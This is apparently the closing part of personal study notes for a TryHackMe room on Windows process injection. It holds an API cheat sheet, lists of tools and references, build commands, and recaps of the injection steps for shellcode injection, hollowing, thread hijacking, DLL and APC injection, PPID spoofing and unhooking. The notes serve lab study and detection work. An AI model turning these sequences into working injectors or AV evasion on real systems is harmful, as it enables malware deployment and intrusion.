11. API QUICK-REFERENCE CHEAT SHEET

PURPOSE	API / NT API
Open process	OpenProcess, NtOpenProcess
Allocate memory	VirtualAllocEx, NtAllocateVirtualMemory
Write memory	WriteProcessMemory, NtWriteVirtualMemory
Change protection	VirtualProtect(Ex), NtProtectVirtualMemory
Read memory	ReadProcessMemory, NtReadVirtualMemory
Create thread	CreateRemoteThread, NtCreateThreadEx, RtlCreateUserThread (TrickBot fallback)
Queue execution	QueueUserAPC, NtQueueApcThread, NtAlertResumeThread
Suspend/resume	SuspendThread, ResumeThread, NtSuspendThread
Context get/set	GetThreadContext, SetThreadContext, NtGet/SetContextThread
Unmap image	ZwUnmapViewOfSection / NtUnmapViewOfSection
Create suspended	CreateProcessA/W(CREATE_SUSPENDED), STARTUPINFOEX + EXTENDED_STARTUPINFO_PRESENT
PPID spoof	InitializeProcThreadAttributeList + UpdateProcThreadAttribute(PARENT_PROCESS)
Enumerate	CreateToolhelp32Snapshot + Process32First/Next + Thread32First/Next; EnumProcessModules(Ex)
Resolve exports	GetProcAddress, LdrGetProcedureAddress, manual export-table walk (hashed)
Flush after write	FlushInstructionCache (TrickBot step 5)
Change page perms	VirtualProtectEx (hook installers use this)
Query process info	NtQueryInformationProcess (ProcessBasicInformation -> PEB address)

HISTORIC/DEPRECATED (still hooked by AV!): QueueUserWorkItem, CreateRemoteThreadEx, NtCreateThreadEx with hidden flags, RtlCreateUserThread.

12. TOOLS & FURTHER LEARNING

Learning rooms:

- TryHackMe: Windows Internals (prereq), Abusing Windows Internals (this), Windows Fundamentals 1-3, PE (Malware / Reverse Engineering paths)
- HackTheBox: Windows Internals / Anti-Debug / process-injection boxes

Practice / analysis tools:

- x64dbg / WinDbg (kd: !peb, !teb, dt ntdll!_PEB, !threads)
- Process Explorer, Process Monitor (filter on PID + API), VMMap, Sysinternals ListDLLs, Handle
- Sysmon + SwiftOnSecurity config, Elastic/KQL, Splunk
- PE-bear / CFF Explorer / Detect It Easy (PE structure)
- pe-sieve, HollowsHunter, Monkey2 (scan for injection artifacts)
- ProcDump for memory capture + Volatility3 (mem->IOC)

Offensive frameworks to read (source-level study, use only in labs):

```
  - Sektor7 / vovkasmil research blogs on injection & syscalls
  - Hell's Gate, HalosGate, Heracles, SysWhispers3, FreshyCalls,
    indsyscall / direct-syscall implementations
  - ReflectiveDLLInjection (Stephen Fewer), Manual DLL mapping write-ups
  - Ntdll unhooking write-ups (the "KnownDlls section" method)

Books / references:
  - "Windows Internals" — Mark Russinovich, David Solomon, Alex Ionescu
    (the definitive reference for PEB/TEB/process/thread/memory chapters)
  - "Practical Malware Analysis" — Sikorski & Honig (Ch. on API hooking)
  - "How Windows Internals work" MS Learn docs
  - MITRE ATT&CK T1055 page + each sub-technique
  - SentinelLabs TrickBot hooking-engine article (Task 7 credit)

Build environment for these notes:
  - Windows 10/11 VM (THM AttackBox or local)
  - MSVC:  cl /EHsc file.cpp          (x64 Native Tools Prompt)
  - MASM for syscall stubs:  ml64 /c syscall.asm
  - MinGW alternative:  x86_64-w64-mingw32-g++ -o out.exe out.cpp
  - NEVER test on the host — snapshot the VM first.
```

EXAM-STYLE RECAP (one line per room task)

```
Task 2  Shellcode injection:  OpenProcess -> VirtualAllocEx ->
        WriteProcessMemory -> CreateRemoteThread
Task 3  Hollowing: suspended CreateProcess -> read malicious PE ->
        ZwUnmapViewOfSection -> alloc/write headers+sections ->
        SetThreadContext(entry) -> ResumeThread
Task 4  Thread hijack: alloc/write -> find TID -> OpenThread ->
        Suspend -> GetContext -> RIP=payload -> SetContext -> Resume
Task 5  DLL injection: find PID -> alloc -> write path ->
        CreateRemoteThread(LoadLibraryA, path)
Task 6  Local execution without threads: function pointer cast;
        APC via QueueUserAPC (alertable thread); section/RVA/reloc work
Task 7  TrickBot: reflective injection into browsers, inline E9 hooks
        written by write_hook_iter, thread via RtlCreateUserThread
Extend  Syscalls (Hell's Gate), PEB walking + hashing, unhooking,
        module stomping, unbacked memory, PPID/cmdline spoof

"Don't forget to tip your blue team on the way out!"  — THM room
```

END OF NOTES — Abusing Windows Internals (TryHackMe MAX)
Rev. 1 | personal study reference | authorized labs only